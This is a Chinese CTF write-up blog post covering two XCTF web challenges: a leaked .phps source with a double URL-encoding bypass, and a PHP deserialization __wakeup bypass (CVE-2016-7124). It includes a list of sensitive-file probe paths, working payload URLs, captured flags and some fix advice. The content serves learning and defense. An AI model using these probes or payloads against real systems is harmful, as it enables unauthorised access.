攻防世界-WEB-难度1的解题学习过程

50 阅读2分钟

[攻防世界-[NO.GFSJ0234] [PHP2]

声明:本文首发于我的 GitHub 仓库 ​wsmnihao/my-ctf-notes,欢迎 Star 与交流!

漏洞信息

  • 漏洞类型:源代码泄露
  • 风险等级:中危->高危(源代码泄露会衍生其他漏洞)
  • 利用难度:极易
  • 关键函数:无 只有配置不当 [[PHP反序列化&串行化]]

解题过程

屏幕截图 2025-11-01 111532转存失败,建议直接上传图片文件

漏洞发现

1、信息挖掘
	#首页只有一个提示语:
		Can you anthenticate to this website?
		#注释:**“你能通过这个网站的身份验证吗?”**
		
	2、检查源代码
	#没有任何代码构造语句
	
	3、尝试访问首页和一些关键目录及敏感文件
		手工收入较慢的话,或者按需使用,可以尝试用御剑目录扫描工具尝试
	/index.phps
	/login.phps
	/admin.phps
	/config.phps
	/flag.phps
	/backup.phps
	/index.php.bak
	/login.php.bak
	/index.php~
	/.index.php.swp
	#带s和不带s的都尝试一下
	
	
	4、漏洞发现
	/index.phps
	#是一个源代码泄露漏洞
	#返回一些配置代码,示例如下:
	
	<?php
	if("admin"===$_GET[id]) {
	  echo("<p>not allowed!</p>");
	  exit();
	}

	$_GET[id] = urldecode($_GET[id]);
	if($_GET[id] == "admin")
	{
	  echo "<p>Access granted!</p>";
	  echo "<p>Key: xxxxxxx </p>";
	}
	?>
	

// 漏洞代码片段

代码分析

===和==的验证通过问题
	
	#===是强验证,==是弱验证
	
	1、第一层$_GET[id])是否完全等于admin,如果相等,就返回not allowed!
	
	2、中间是将$_GET[id]的值进行URL解码
	
	3、第二层$_GET[id]的验证比较松散,只要符合其中的一个就返回flag/key

绕过方式

1、尝试构建绕过代码
		关键数据:admin
	构建命令
		http://example.com/?id=%61%64%6D%69%6E	
		#参考URL编解码和ASCII编码表比对,或者快一点就找ai帮忙编译
		
	2、绕过无效,尝试双重绕过
	#在原基础上,将%号URL编码为%25,这样既绕过了第一层限制,%后面跟65,实意为ASCII表中的a,对应admin的第一个字符,以此类推,构建一下绕过代码
	
	3、代码
	#尝试绕过
	http://目标网址/?id=%2561%2564%256D%2569%256E	
	
	4、flag值
	flag: cyberpeace{0a7a4bffec9d817fad109e6671f58df4}
	
	完美!!!

#题解2 [攻防世界]-[NO.GFSJ0235] [unserialize3]

漏洞信息

  • 漏洞类型:PHP反序列化漏洞
  • 利用难度:简单
  • 关键函数:_wakeup() [[PHP反序列化&串行化]] image转存失败,建议直接上传图片文件

解题过程

漏洞发现

	1、代码发现
	lass xctf{  
	public $flag = '111';  
	public function __wakeup(){  
	exit('bad requests');  
}  
	?code=
	
	2、关键信息:
		class xctf
		#类名称为xctf
	
		?code=
		#漏洞点,可尝试注入,一个接收序列化数据的接口
	
		__wakeup()
		#魔术方法,调用反序列化时自动调用的方法,会自动终止程序,返回bad request
		
		public $flag = '111'
		#公开属性,flag的值为111
		
// 漏洞代码片段

漏洞场景

	http://example.com/?code=序列化字符串
	#可以看出是一个序列化字符串
	
	后端代码可能是:
	class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    	}
	}

if(isset($_GET['code'])){
    $data = $_GET['code'];
    $obj = unserialize($data);  // 危险!反序列化用户输入
    // 这里可能有其他代码,但永远执行不到
}
'''//结束

攻击流程

	
	用户输入 → unserialize() → 触发 __wakeup() → exit() → 游戏结束
	

绕过方法

	
	1、既然知道是反序列化问题,那就先构建一个人正常的序列化代码
	
	正常序列化
	$obj = new xctf();
	echo serialize($obj);
	
	#输出为
	O:4:"xctf":1:{s:4:"flag";s:3:"111";
	

反序列化代码结构解析


	O:4:"xctf":1:{s:4:"flag";s:3:"111";}
	│   │      │  │   │       │   │
	│   │      │  │   │       │   └─ 值长度:3,值:"111"
	│   │      │  │   │       └─ 值类型:string
	│   │      │  │   └─ 属性名:"flag"  
	│   │      │  └─ 属性名类型:string
	│   │      └─ 属性个数:1
	│   └─ 类名:"xctf"
	└─ 对象类型:Object
	
	#结构,大致做题可以这么走。
	

漏洞利用 - CVE-2016-7124

	1、正常序列化
	O:4:"xctf":1:{s:4:"flag";s:3:"111";}
	#可以先将源代码反序列化一下,构置一个代码框架,并不会爆出数据
	
	2、修改属性计数1->2
	O:4:"xctf":2:{s:4:"flag";s:3:"111";}
	#构建完成
	
	3、发送payload
	http://目标网址/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
	#结果返回falg值,目的达成。
	
	4、flag值
	xctf{1038e3fd96b844fe5ac733880dc1f0e0}
	

漏洞影响版本

	- **受影响**:PHP 5.6.25 之前,PHP 7.0.10 之前
    
	- **已修复**:新版本PHP修复了这个绕过

修复方案


// 方案1:升级PHP版本
// 方案2:不要依赖 __wakeup() 做安全检测
// 方案3:验证反序列化数据
public function __wakeup() {
    // 不要用exit,改用其他验证
    if (!is_valid($this)) {
        throw new Exception('Invalid data');
    }
}

完成!!!